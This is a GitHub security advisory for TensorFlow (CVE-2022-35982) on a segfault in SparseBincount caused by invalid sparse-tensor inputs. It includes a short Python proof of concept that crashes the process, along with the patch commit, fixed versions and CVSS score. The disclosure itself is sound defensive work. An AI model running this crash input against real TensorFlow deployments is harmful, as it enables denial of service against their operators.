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TensorFlowGHSA-397c-5g2j-qxpv

TensorFlow vulnerable to segfault in `SparseBincount`

TensorFlow

CVE-2022-35982 · Published Sep 16, 2022 · updated Jul 13, 2026

Medium5.9
Fix: upgrade to 2.7.2 or later (3 fixed versions below)
GitHub advisory

Impact

If SparseBincount is given inputs for indices, values, and dense_shape that do not make a valid sparse tensor, it results in a segfault that can be used to trigger a denial of service attack.

```python

import tensorflow as tf

binary_output = True

indices = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int64, seed=-1288)

values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-9366)

dense_shape = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-9878)

size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)

weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000)

tf.raw_ops.SparseBincount(indices=indices, values=values, dense_shape=dense_shape, size=size, weights=weights, binary_output=binary_output)

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Patches

We have patched the issue in GitHub commit [40adbe4dd15b582b0210dfbf40c243a62f5119fa](https://github.com/tensorflow/tensorflow/commit/40adbe4dd15b582b0210dfbf40c243a62f5119fa).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult [our security...

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.7.22.7.2
>= 2.8.0, < 2.8.12.8.1
>= 2.9.0, < 2.9.12.9.1
Details and references

### Impact If `SparseBincount` is given inputs for `indices`, `values`, and `dense_shape` that do not make a valid sparse tensor, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf binary_output = True indices = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int64, seed=-1288) values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-9366) dense_shape = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-9878) size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000) weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000) tf.raw_ops.SparseBincount(indices=indices, values=values, dense_shape=dense_shape, size=size, weights=weights, binary_output=binary_output) ``` ### Patches We have patched the issue in GitHub commit [40adbe4dd15b582b0210dfbf40c243a62f5119fa](https://github.com/tensorflow/tensorflow/commit/40adbe4dd15b582b0210dfbf40c243a62f5119fa). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University

CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-20
Also known as
BIT-tensorflow-2022-35982, CVE-2022-35982, PYSEC-2026-3093, PYSEC-2026-3270, PYSEC-2026-947

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